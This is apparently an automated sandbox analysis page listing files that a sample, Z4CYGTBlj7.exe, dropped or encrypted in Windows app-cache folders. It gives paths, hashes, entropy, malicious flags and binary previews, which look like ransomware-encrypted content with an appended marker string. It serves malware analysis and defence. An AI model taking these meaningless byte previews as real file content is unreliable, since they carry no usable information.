C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\fa8b3094-de61-403e-8cb9-1f14be698f21.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	7.737577076858024
Encrypted:	false
SSDEEP:	24:CW3kUXOMNvAbA0QjEMniepjUKTcIncxH+LsbD:PkUXOqatMnvjpfBLmD
MD5:	1333D8EB14EAA0D4231A8443FB50087E
SHA1:	BB8D5590C596AA97B744D5B84526795A758A5992
SHA-256:	7334DC20F538B89B42925266C0CCDB5097EA6D2E97655D525CB7C770B1EF07BD
SHA-512:	54A226EAA5B02B5644E067EED5B4037915C228B712D81979B294D8980F798649E394015208BC80C9203B6B76ABAFCDC5D4457EF415C3DB8D4EB10D432DD3A033
Malicious:	false
Preview:	......so.yl..k.Hy..Z.[.,...p,}s.{i.7'.(...u...._.5..U.1.H...m~..#$..I.....A.......Q.>.(...&.dcB.O\..;..u...U..7.n.....r.0...\p...B.._...2+[..rz>...z..,- .I<>.pF.sA..zO$.K.>..o..S...{..=....z.......n.R#..a:..n.... .....\|...............+...2...s.........+.G.;.....I.8P.[.E...... ....c!....>.8[...o.`aS..%.X....P.d...n....vI5.m......e[4.t..x.r}E......[9<.....<....g..J..H....c.O...."...97xP5<3...F.........4YD.3.#t.....#..p5].Z..M=......Ay[f....."...\|.j.M..f=........3.....[.X..pq.]G_pzZ`.].(..oZ...W...c....X.3......[.5..ZSv.}.bO....p.....f...V.2j..Z..m........?..eUT.]V.7.c...6[..+..S.2%\|N;..Lg....E).{.9.=..62b.\.~.y(.......^..Fnd..T...p.....b...d.......b.M.`..\|ik.Sw.F\|B.8Y..2.,c4..[z!.... .'i...{..>.f.3...1"d.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\EJz06avERkAqfuwcXY6H5w8dtNc[1].css

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	428901
Entropy (8bit):	7.028471960461691
Encrypted:	false
SSDEEP:	12288:ugKw5J5lT3d9V9EeLp00HlmZoYh0yh881e:FKwX5J3d9V9EeLp0WlmZoYh0yh881e
MD5:	7717A534BCDB52C068BBCAC181E4E635
SHA1:	B3832BEAF1EA83FE6E5DBA1BB467735D2257E6C2
SHA-256:	76C7820AD442E428DDE0D7A0AC9B3889A511DB5635EA0858570D23027AF4AC0B
SHA-512:	9FFB3735871B93654A3EA4C20400EC76799E06E7BC9EAFEE8FE541D8A863DDCCF9276E3BD6D8801E8EA0EAD3EE8053572590660CAA071B617482CC81C82D3AA7
Malicious:	false
Preview:	.scop.~..m.i1.j(%....O...2..{......s..u.i..\|`..].1.F..>\-Y.@.5rM.mZ.6.D..F.....R.u....."t\|%....;+ex.EL.....i..,&>!........49...dZ4k....Z:.......Z...v..[.D.....#...u".>5.T.....AZ.(.....j.=..b.6..7..Y....<..CWB.,....ne../.....U.P..g.0..3....M......=9..o.-..Az.5.o.j.".5.@ L...dK.&3.P&q..TcsH.f..<.6....J#e9....]......}m'.A.......w.?.e.Ik."H.....8... .C`Wgs...Y..R.P..\....<Q.b..F....em..Nz.q....9..;...ip.-.C+.lp.5..}.K.y.i....V...C..E=bZf..4..b.8.y.4HQx;...K......19...'.;.G..L.6Q`..z....8H..d...7..0.......(....d\|.%....F.M...,~.T..Q..@D.]..s5...!,...8 :.?..4xv..x...)c.X.$u..y..B]...0e.8.2J.%{d.?z..&..\._.K=.....B!4[.\j...._mZ.Apn7,.Jm..p... .P`..2.7...W3.WUb....%HK9.s..5...z.Y.4\..0Z3...#4........!b.... >r...]........:.I..`..NN.".K..3.=._.<...:S..S5..............r..U.X..b._.r...%..G..._...jp.jwIV.#w.,-...$h.......{......@.E..j.H2X.<h..`u..N.T.....B..[...#r.lS.]...Q....:..U......#.PO.S.....a.U. o.k..a^..7..<h.yv..~^......7....5.*B.'J.u.Zt.{e..\....2

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\EYNLM9RfkEXFtD8WH1unvJjwzGA.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	17832
Entropy (8bit):	7.989926002168063
Encrypted:	false
SSDEEP:	384:zBEAVOcIvIVgEapZHC0dcCLvyFYA5eiUJH0bQjebL:tEAUcIwVgEapZqCO35eUGML
MD5:	EBD2E8D8A3276A7D3C1CB2F613478CFB
SHA1:	5FAB573577F4FFCDB28E75587E6BECDFA872E0D8
SHA-256:	92DD141ACCC80ED85ED8D01EDC3FA8A8AAF0A320D65FE7C580EBF61847F5C40B
SHA-512:	E614A1734A51C689B71598CDB8E9A9BC77D4973B504D8696EF141FC60980DF9672B35D439B5597DF57AFF86642E5A4C59F06AF9A6970B93666E7448ECFDB614B
Malicious:	false
Preview:	!func.;-...s...A..G.JX3 .i...YP..l...n.2.\.ORT....+#M.).`....S.2...W.H%()5..9.R..p......5...D...j.3..f..m...Bf..\|.(D-E~..].n.Y..m.d..M.......U-.%.T..8z....."KP.J..[((xt.A..D.2....v.". .K.g,;[.kq..@...7..E.._B..0..M2.Y.d.,..A.o..U.iTx.......v.{?.==ki..5VG....hihjl.v.G).&.cBX;oS.8.#.o.....k.s.H.....].k.....L...p.:%..#...@.T~.D8....l{....3W.kl...&...D.)...UA.1I..E.Z..........+u...y...\.).kx....la+.c.D.w.@..3>.;.m)......&~.H;..._...r]7..0..\|F.Q'.>.y.(.1....N..,B...9r....\....f....)?..C...5......,.l.._.!=]~......!w.......>..]........5:+.\|..'fh]..y..+.G~.@.6....Y.L..<.c..a.W....7..{0 .~Vu..E..eDR.-Ie..Zv7....$.k.s-n......q.z..8...I.5.........N.[!...K.D.xB. .j....?p\|.n.B*.x.!.[%6.v........9...~.."f.......<+={.B!...../.M.%...^y...z.3.m.>.v....t(MO.o.pH ..digw...]..;u%....c.....I...g...@...N\|..........q.p...i..R..X.X^~......P..Or...A.;SUc.O3...`V...~..[.T...<.3.K.......Tl.._.LN3.....4.@T..............C..2..(...1^.9.......D,).Z..yaD.`..+..W...+P

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\GW3DpE2qmyibnbFrEIzpiD0iGLk.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	825
Entropy (8bit):	7.7334910078942585
Encrypted:	false
SSDEEP:	24:um1c+w3oEjCnWaPtPt90EDOWD1yyDTsbD:tGQDnWgtPQ+JhdTmD
MD5:	91C8734AB563D5A577D892025E6F0DC4
SHA1:	58E5B151D65D054C6A16C61F026E31D806204184
SHA-256:	16F59DAC145202846D14B1880539E2B8FB5F512B0506077B8F8295D30D7E828C
SHA-512:	B31BEB999149D79DD612C201501FC38F4FEC948A60B4E8723CA5B83607BF17516AA3A5A73BD5690B4D38B061E72D05D9E227FB90B079E42C3634B8669E82D83A
Malicious:	false
Preview:	var W...]......\|.^.P.f...;.6..<..ZLe..S.bw7.0....e...p.....<,6"...r.t...l..../..._0.....U<...].uC.B.y./y:v..`.7!".U..j.65ON.)Iab.B..Z{.}.y..AVw...R.I......)..f....m..zM2;.7....\|.^m...@..DzL.Hzd..2...<Q..Jl..3.2...`......\u{.\T..Oop.&..V~.w..n...E.T....u.v.~.b }M..3.M_O.W..[1....Nu.I..'.o.k?h!.'........u`....+.....=?..u....j..:b...t.3.kx.xcB.?..D..r..R.....$.C......../...m.....Ox'..Q.?ya.../..f.)lO6G.P.9{.yP.w)..A.w.N.F...)V..o<P..Ubu.R..W.......4!.g.1K`....=90 ...............l.f....[N..#[........R....g....+I..'.g.,.....h.5'.K..M@..P.C....LY.:...&.A.YS?+....Foy..$8.'..Y.+y.....3.YM.5j..3a..D....kD...?].(N.,.r.(.e..b...,....Sv........-.>..Zl.T.e...;ZY.T...,..[.......N..zi.....Ckr....F.wN.6.q........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\H3gIahXaXkGgvztu9ouLmJNXhQM.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	172352
Entropy (8bit):	7.949489011225594
Encrypted:	false
SSDEEP:	3072:x1vpfHGt8MJUEwQA5N4/cF/2vsXNDjd5RZs6iGfIvRBOUx5bv6PLh5An8T0Ppe8a:x1Zu8eUOA5acFzNDj9Zs6i8IJ8UT6w8z
MD5:	9A4F52BFDC9CFDA10BCB2AD91EE313AB
SHA1:	B4AA531AF1E19FA9191A19C9106AC8D74C68D523
SHA-256:	E3EEAF022CA5F714C8597F9839FBBB211351D399A23F2F256557AE00521DA729
SHA-512:	B7F0A5A29E34566376AA6817F50A51CFC88F12B5370B9D43536682597558382DAD063BF2D8F82C92DB27043642B23D0616C16C7C2F036F5062EE6944D00C4225
Malicious:	false
Preview:	"use .N%.L.~.g..".yo..jRS=v..n..o.;..i.1...../.. ...v\|....i.*..X.k..._NZ.[..}..5."..$../ap..1.v..!...n..[.}...@.. .....{+$"b+.......<....o.f...#...+s.V....zc..d.6.\...........X\|..Q.N.l...\.y...4..r.~.;'.....V@......r..bOW.....}.d.....W4.6......^......W@..../.e.....lt...y...O.uRI.q.gL.Y...GRZ:8..t.._..O...9..A..\|x..Wt......OQ..3.....9?.5v!8A7:...S.q.=..+&\c.......E.....:.p..,...O.b5..K........m,.e...........:...z...5.slc).T9..x....}...pRC....?........M...p`.+.mE4..H...=\p.X.jI,..]!....%..#./N..8...&..... ...<...9......D.]u."E..QX.t....c.W..&...TG!.......;1.O...$g.h.;y...v?...cX...&...HXO#T..!X ..W.B..A.B...3qA{..7.M.=7.V.3=.p%...@.f:.s~._..mO..x2R.D..,......Qp."..."Q ....9gi%..V.V......@..(.z.P.%.......>..DD-.....K.[.(.3.Q...-...F.b....'.R.b3I1.B..`vQ..9.;......f+8iN.?....B...b..f..m#!....u..0..0;....\UEe.;J.r.0..h.O]h...W..BZ.Ir^$.B..s.....*``o.]T!R....=....?9........._....`.$8.L....9...2.Q..2Gf.\S....m.@..'q.8..p....P.!g.V0..........

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\JClcsxanpxBiLGzKZtauWAccdA0.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	39925
Entropy (8bit):	7.9952995075246776
Encrypted:	true
SSDEEP:	768:YP43h9pv1i8VwETKYadcdxBSjxw8O8fVS2taZ3D5kCfUBk0YgdPIFt6JFuqu9JV4:YP4RLv1dVwETKvcLBSjxwAoZzGCfcn5l
MD5:	25462E3AA976E96C9CA9B974F0E15E0B
SHA1:	A0A17C1D44FFFFA8249F2EA892A2E9CC4F08ED2E
SHA-256:	80F0A1DD86ADE65F1F176E235EC92E6CD7B148908CBF82D4CEA8B4D1BA6AC921
SHA-512:	710223B17C6E77C17131D947112578611DDF34624447FB6A82CD52FDE49EF23C928AA956D6AC26A7A4B0CC55B9B2D376A50ECD7E91E56A05B7CBDE67E7604ADA
Malicious:	true
Preview:	var W`...F....G...;...a...v1._8....;..7..k....p.b.!....V....cm..N...6.....9Y....;x.R;1...')..P..O.Z.R....t.6o~h1.t7../q]&.. ..O+.E..6^.....M.>._VO.6..{I.;.pR..$1.(@...l...T{W.n4....7...o.#...............O...._.R..)...+xA...N...^..^.)R..e,}e..>...xi[....Ny........z.&.........f..F.j.o........V.`db.....j.r..l.Z........{..T..=.a..y[...i..0..-..:....e.w...a.y\.T...f............M.S...../..V..f.....n..Y.=..N....,.B...U.mYI .!..1..I.sd.k.d/z."..b..Y...8O.Q1L.]we.@.3j]o..C!.>hl.....'.4VN.Qn....2q.\s.......`8..i>...b6.\| ..H..S..-.b..~.....<zc\|.!....Z..?...D.X../c..U..`,...U6^.o..n...NN..)qWs....Ny..#.......h.wm.IG..28.....GN/.%p......u.^..K.=..w....m.$..S.A}uX..vx...1.d<....2.Z..r.G.$Q)..u]h........Khv...09.v...e)....vP.!.".qp...: ......\|......?}U......yO..%..xxj.5..:..R.7b..f.....\|....,..Y..6.H..>.e..re%...i...?......c...(SOl.>7........Gu3.6....at..V.i.JCjK.$.0.E..Y9Gn.}...........6......\..37..M.]....n....j..kg.t.}..6... ~=.........1,I..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\KF9j9oJUfaaKiX-84yf0U337ge8.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1749961
Entropy (8bit):	6.57497759188779
Encrypted:	false
SSDEEP:	49152:RRCiSUX/CjrjYz6J9dDpwBcOTvz2EsoTE+rQU03GQo:HCLDuBcGjB
MD5:	62371736384166541054384A3191A765
SHA1:	1172E79A0B3254D1DA0C02E763370EED7B651D84
SHA-256:	529AF7AB6DF5903FE29C56C8611F02D5ECD9FFF829CD4F7F0409C2BA20405452
SHA-512:	91D21E710F8647115B058FBFFD95320C987C7E4B751805B5056FB2A06BD82E5762D0738B6E7566B48EB3733D88F19EF2214D88868465F23D2D9EE15537976056
Malicious:	false
Preview:	(func;.....Rr......gL...C..V.....,k.-..I.h=...w.?.i....0$......s)N..r...:./...}...w.>../..K{q..zp..G..m...@Mn..6..+7k.<...[p...Zyz\Q......an...........!N...8.^.k.b....j..G.[.z+Q..F..S^X.X.....;...k........Z..kt<..O.M y.-w.z.V;"zi..,h.E......='..i..L+..j6.Y;......G...2.7...>CI.M......6........w..-..m..af...).?.k......V.K.. .o....1..M....6...I..\|.@....m.(...,...!.%...R$.....;C..`....u.F...#. fO...nJ./XK.W...@..>f8.;...q.KWuh.cV.,..on..c....#./..'(.s......L\|".....u..i4.m........gP.B.n..2.zS..%iW..Ca....A:\|.......!.+S....j.d6..}.r....+.Tk7u...W.y.C...C..Nz.LO7.b./.j..qm........B..MU...1#..p....\|.@.84G..j6....VME.T..7.~...KH....A.?.91.......q;.b...]\..c{..$.=;.P+...H......m.{s.X..@..0L..,e....[.!$q`....,.6..Eq......wX..%r.3....wxTh@..`[..ba..y.L.._......"._.oc..Y.sC.'..E....t.].V.\.t...........e0..f@........@+}Z.QP....BY..@.*>.PKu.rR.m.%2.2Cp{..e...]G/1>..,..t.?..{.H..:.21....M.......\Y.....l......'@...d..;.R.,..!..z...61.M

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\Kwh038ybdvX_puLwdopqHydJtVM.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	467497
Entropy (8bit):	6.283444463737992
Encrypted:	false
SSDEEP:	3072:KlzgifjTOGDekWbCOEDA6xY6YoaMpo+Jl59Jg20F8i7:KllfjTOXkwvwA6KMaED/Bj0F8i7
MD5:	FE0B0A97D7948F729AAAA5FF566FB779
SHA1:	CA1DD3FF8F1DD63912D5D4A9CAE527D8DCE4B28F
SHA-256:	B3D6196B9219594A719C7AC27637995FB9D67398594DC54AE3B186488D2BAC93
SHA-512:	7C026FD084CC4CD21B495BAAD2B6598FBAD3BF5B4EFEAB4F5A863BF55948974F3CE1E36A22ECD150494041EA6A1EB1A3A5B45501D657A94DB24DF28DD5512DFB
Malicious:	false
Preview:	var W.6.......a.6[.......nIQ.N....c.M....J.5.q..j...$[.0D-....G.kH..B.]H.....b.....3l.....5.Ln..;.{..Q8.u.E...b..@.../P..7...R........f.../a....a./..,>.X3..&....}^x.......&..../..vI[..9........c.m...U...y.......h..-..7'.=O!..2"DO..W..,.,........84v-.?...;.......E.H_f^f. n..GW..^WU.....~..Mq.U.f.........{......=5.f=f\|..&...Hs...ek..<.y..OZ..l....A1~M.C9I..8..@3z2........H..e.....Ov?&..,K....."b...!.E..v..d.Sy...".-n..e.'..:.....}..5M@.....9..!r....v..O.Oe6U..gI..'..:_.l..Ws.A. ...........i.e.7H.FvY.LA2...)L}$+.,,....JW#6..J....P.9.<^..ZF 5....lC.M."9..m...............i...=Y...0]'H8< ......b~bI7.X....c...c..,=f.F.....l~..T.....`.y9.e......I.\..L4k...o.T...8Sd........:5.gL...L....e..GZb.,}....W.....Aj.N.}..KGS.........s..+..D..Jk9.6.w..zk..}.J...m.VH.T.#..h...i.x.85..v..L?.......t.h~...:..=..+....sB.Zt3..xD?....=:pn.I4?4...H....PFC.V'./....*\|.x..9l..Y..j.Dq..q}.&....{Du;.0C.....v....pD..`...Y.Y\|u=....2..}QR...@.......e.....Dw...:8..H

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\KzWxoKDHqNy24XFwlA6xWw89_DA.br[1].js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9214
Entropy (8bit):	7.981602374609801
Encrypted:	false
SSDEEP:	192:D2DWV9blPfOE+G46cL/0jsqgUTWmAgM3C6B+WOMtyiDuyYE+:D3LblPmerQ/pDFmAgM3L+gtkyYl
MD5:	B02A644B51B12BB984A95999003A5A06
SHA1:	DAAF72D1CBB4476FFA793C2A05415F7E0A92F05A
SHA-256:	68784C551CBDA4BB5B39041879585F6F8BC1E41D2FB7C10E702DE573244E801B
SHA-512:	BF51DAE2ED5AE75FA618802161CC7B27C96B83368C32E9A9260613BD4A506AC8EF0A91AA9C5BCC2259DB9E27107CEAAD642353826F1F2151650D9DDA27CDD103
Malicious:	false
Preview:	var FU.m..d.Q..._.L..YOQ......p.....vR...7H..>l...;...h.P...Q..jMz..../8......._mjo..nq.F....t5=.l...o3..[..v.~.....T.....kU.-..&....(4..]..wk]...y`......zS..:.d_;..Wly..,.0...?....C"..c....f6O.......mN..z.cV..F...Zad9A...'Ci.......kK>^.G..l[B.}.,.......D.V1...;b(b..V.o.....c.......p..g...^#..%....."..WDq.];...9.......F..fi.Y.\. ...w.sk..>..I....m.=...Xf"..xpG...Wt.0.4..~0c.....E{CL)wy....... ..HA....>..G1...4H.u....4>.Hd50pJ.g.1..6.I.P...K..`..tfh.{../..l.XZ.j..I.<...q.v.....w...t...Lj........u`3.....FhM..z.O..#H.\|x..."@..y.............FQ....2z-i.E..7..<=.........v.W_..\|$.".7=......u~Z..&./...a...w..yu.=..B..Q....7B..i....bx..G.8C..x...<.%.?.Z-?...:.9lW.jB....6SO.TT....D_.)7.."y.\|..].xuR..u/.w.$^...>mE .......1..C..9U.u..9..L.v........g..~'..+.V..m.L.H.<......0....[E..hCK/.D.]...!....A..v..L\|.!......gh........i.......k.R...xK#+<1.n/....=.....OL......N....n.<.......Q).?+.2.h...v..L...2.J.~5.2u....[R7sy..>&...e.S....:.N%B....Y..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.253619659942865
Encrypted:	false
SSDEEP:	6:jUo2voER0VMsYWrEJ4KR8nczV03AgzC27DVONoe8XkUildFX/sfTQW3cii96Z:aw4Fs7AxRgAgH7DHXKl7X/ITQscii9a
MD5:	BF7318EEB2A9048A83AF09CD08E62E88
SHA1:	F30BFBB3225B655C7050C52F069C7D1DB5A323D6
SHA-256:	94040C6C6529281626F7F53ACAEDD43548638E2F5B6CF9C6D6692ECF69BBF205
SHA-512:	978B51660DF187574F10AC2888D7B9D9FBED91883CEC424D99E052FAEC9E23E4787D3EAE808F4FCD8708A98E302DEA7C3A6966BE4142DF32E1675210270EE166
Malicious:	false
Preview:	z{a:1:.~iS......s........T.j."...2.Tb..6#..0-uj..z~7.=6Hr.f+.e...}.(E....o.....N..<.....1 &......B?M.7..D...8..<.........izL.....c08..@...x.$ hM.....h.$....h.....18......2A....c..H.....`...JB.^.8.....X..7h.....i.l....RH..r.1>....^.G.%.VK....A.e.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\n7LMSoHYYIBGa1VPMlnTzxBvlfA[1].css

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6235
Entropy (8bit):	7.969995068199491
Encrypted:	false
SSDEEP:	96:3TjwLPNUUWtl66Tf2I2xSIb7IyaTQWcBnKsYErMLzdawxa6gLOv0GUPyxkLp+:3EPNlnJI2EyakWcZKsiLPxa63v/dxy+
MD5:	65359998D1C2A9848990637B69A3C4B7
SHA1:	DF2F6C195D4F8D31DCBEF3A156EE6B9256638C08
SHA-256:	F280FC8968F2EC19F36C32A01F5F7A33D594D47A8D3708727E172317BCEA892F
SHA-512:	7B4BDC1662999F8E7AC7DF3B74008A57F70201CA2D00FC9B298C9945FEDE779D28BB504EAE5A4A97558BC7E00A7F2D9D99EAAE50261E4E4C3D9562B3091BAED6
Malicious:	false
Preview:	.b_se.......'..0.(V.u.Aq=.....=.d-?..5y.:...,.o...!uP..... ..s...C...N.r_.&....`.\.J.G....wP+...-P..&.ITn....k.}G7..lP.N....9..b.Fd.C.!..ct).&..x..{.'...u.'d.....CL.G5.gdK.l..9p.}E...s.....?L..@..S/.1..st."........Qj.>..\&pH.=....D...u....^. .c..2u .F.[@..,..P9.o{.(y1.E\zE ...:.lP...66%...\|/.!.k..Q..=l..E..`.X].`D?..!k.A:)3..{...j.$isO9.k...x.\.I_Y...u.9.L.}Gz.m.....;9.L,....I]./......q9.9"...'sU.p.l.B.(gIR.L..O.}=...E0.........[...I..7&2..T....P..&....l........9&f[<..[....U...W.!J....m.~.6.HZ..<....ad....4....?.!C...!/.`flEH..{q...=.K...}.6....5J$......4...I$iz.hMv...T. A....^..t..9.[..V......s.\|-..e?(08...BE.6...&....X...B...c%;.ym.y.}.@..dM{;.!..=.b+....y...".L.M.u.4..%...+8M..cU.2.r..&$......-.M..Un.E.h...........!T.....SU'A...Q.X.......Ra.'..G...E..-_..P.......\'..Te)..$....t95C&d#%.fG.N.......^...2LN:..X.>.$..7..?.u...aU.....4O.Y.._fC........${....ic...t....]i.d.x.Z..}\=d...a+..,..mY\|G...Y.%..tU....H.....u..@J<.%K6.L...]`H.Ob.{..m

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\uANxnX_BheDjd2-cdR8N9DEWlds[1].css

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	20755
Entropy (8bit):	7.992382284719742
Encrypted:	true
SSDEEP:	384:6lNwFekpltDGUvVJBn3shWUErUexgH8KNvEYkmsJo+ekDAs2qWTyoe:6lNOphXnB3swdpjo+VJFWTyZ
MD5:	78CF3D0C2F7285EAC13F3C717048ACEF
SHA1:	3FD62566688818900515896A867554734593459B
SHA-256:	D0A925C6BB6FD88AFA3EC18BF7DEB34ED3D27DBB3F562B2CD9A2B692426AF864
SHA-512:	31ABBDE6A01300A22E9D9C9C31C2AA9F6C8B8BAA434915838EDB7DACFA4F99F5ECEC884A2C836D4EB98F82CDBF55AB235437007BD36D699B553CDD39AF30BB83
Malicious:	true
Preview:	.sw_pr..e.~.`.SZo....)....I....e1\......h..'x.......c.:.4../y.cE....2.n..W..-.T.8\|..nb.....3..'.k.j....0{e.SPf..9O...S!..4...sz.O.>W../..@.U$>3.9....,.5l..."}.L.U............../...+....."t).n.T3E.ab.nO.h.{....:..<.[......`L..\|.."...\|p...t,..~>[.'..w.;....u.p....2.j..U.....9....ZN.s...I..f,.U..u..U...P.w.!.!.]...#.7.&..U.Wl....(#z..G.R.%/..mx..q`t$........^.x]Z...I...W4..N:...2.....qS.K..#.t..r.6d~Na=[....@..HP.,.z..W.8......L..9<.p.s..O...4KE.d$.....V.K._!..1=._._......3.}.....n.7.9.2D.w.}...$e3.....~n......o.".).rp..m[o>.+.x<u..y..f.F..X\.h....D.~.h\|......n...,....s...6Y.!9...I....OF.Z....]s.(...G.\$.O......S.....h.7.h.!..c\|G......d..2.&.....`X...9T."9..CSd?.#........\.@.]R.L......+.....i.~.....$....R....o....P../..@+^.:.Q@[g...5.CgR%....8....[......H7{..P..^m...'.E..2.%.....O.[.>..U?!..T.v.._...\|..j..:.~7.<A..am v.d...CW.......l...k:...Sn.%..7.[j?..@k0...*./.d0....kEa......... .mfE.u....xs3.7...p...R.\|.3e.Fd......n...R.3.{f

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	49454
Entropy (8bit):	7.995688264661835
Encrypted:	true
SSDEEP:	768:5zgL6bloTPb/v8nn60OGLqXRy7lT+valVzh2es6eYH1MDO/0rB3qHXPwHj:5EjTPzvQpL0RyxVlNh2eN1MVFqHYHj
MD5:	8DFD318127E3AB83BB5E180E9FA76415
SHA1:	F9B4CD75B85843FA823F1A05C3592EE0787AA0FB
SHA-256:	3D095D402531AFFDAA1B18924856C2CAEFEE1D45380EB72321A6C352355BE72D
SHA-512:	E3C1DAE3FF6F8C0691D9B2647D748D946DE3D7ED30B9428A0F5A8CD98DEA7CCD7EE9837F0EACCC3A9505381DB698042B894B2D6A7D4B9BF423BFBB62A6951C7D
Malicious:	true
Preview:	.....g+.P.......!OlI...d..f...C'..k.;Q.Fr.$......>.?.L..3..o..>.t`.s.<..r.Pj+U....i.8/X..Z=.S\|..M.@^..@...#,.X#B..V.E.......c.D,V,XZB....].O=M.9.B.e3.....g.{D...P. ..Dx<...@.\|.L.{.........}....Rb_.l_...).....mUo...?q.<..^.uM...S.a...L .UQ.+.S...pL....(n.69'.Ja.$...f.+z....E.X..F.......r.f.u..}%.M..jr..~E.1..8...iO7.F...%G.Yd.z?).:.>XX}...#...X.9$.al....../e..q....I'..E.?../k......s........(l..v.d.v.KbV..$.../.V.p..$.B.c...j...{`n..$J..3..oB............`.......V...5R.~...b.{E..p.e.>..Mj..\.B....<..1f%.....2..7..\....je.>.........(............b.$.uGh..UB..#.Vi6N`u.....I....P..u&...7E.....7..j...@I...8\..."..M.}....C.A&..........T.s0..'..f......Z..,.x4/.r[...8..i...nf$gD.M.......+`..n.<....z..L.<.N.'....g\|...s}..C..^L.9...J..;w.:.A..PR.....$@.:.j.j...7K.u.x.....(.]......l.W\D4R.OGWA.R.)....U.JF...Z..J.....e?6!..8%K.lw.ZL.....)b.o...L9T.)h...$z....&.\.#.s[..Wd.[.[se..i.4.E09...T..B..*x}..D.:.)$.:2....9>.....),=,.`............~......>...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\TIFHCK70\www.bing[1].xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2276
Entropy (8bit):	7.920140441244548
Encrypted:	false
SSDEEP:	48:BRDjnEVsVAx8tjmjlPgyrHrEzmTuptpnkU3x2yk4L2q4L95mD:BRvnQgQjdTu/pnNYaqD+
MD5:	F8EC5D77A3204E44FA56D1F7DECE3D0E
SHA1:	92C579230D60CD5040D11F3ACA6ED9FF0D2FE827
SHA-256:	53D7BB62CE8BCD1B4F5B1008F9C8AD4A93AA6DA178CF9719ABE0FCC7166E6932
SHA-512:	E901ABFC5F0A2CE66A2D917231E6A5409EEDAF9385B6BB101D54DAAB156633EFEA0292BF2C2426A4D955B3D441620A9406446E46C9B7FFAF135E2481E2CEA1E5
Malicious:	false
Preview:	<rootx..?>..Et.G..].c.=.R..4a...p...B"_..k/..+e.....u.$...,..dx.H+.".N..n.G...o.Xl.2 b...'G.>.!..#l=T6..P.o.1...AWA.Z.N@..2.!..u..@-l.U...:c.>FD(X...+(..elf.G..._t.s.....<.+.._.t...Z..A.#.WJ_. .'..b........Z?............p.u....,._bF@....)`.\i.s.."Pf_1.4...,j.U.p.....8..u2x.........w.5.~.$...1...z....o 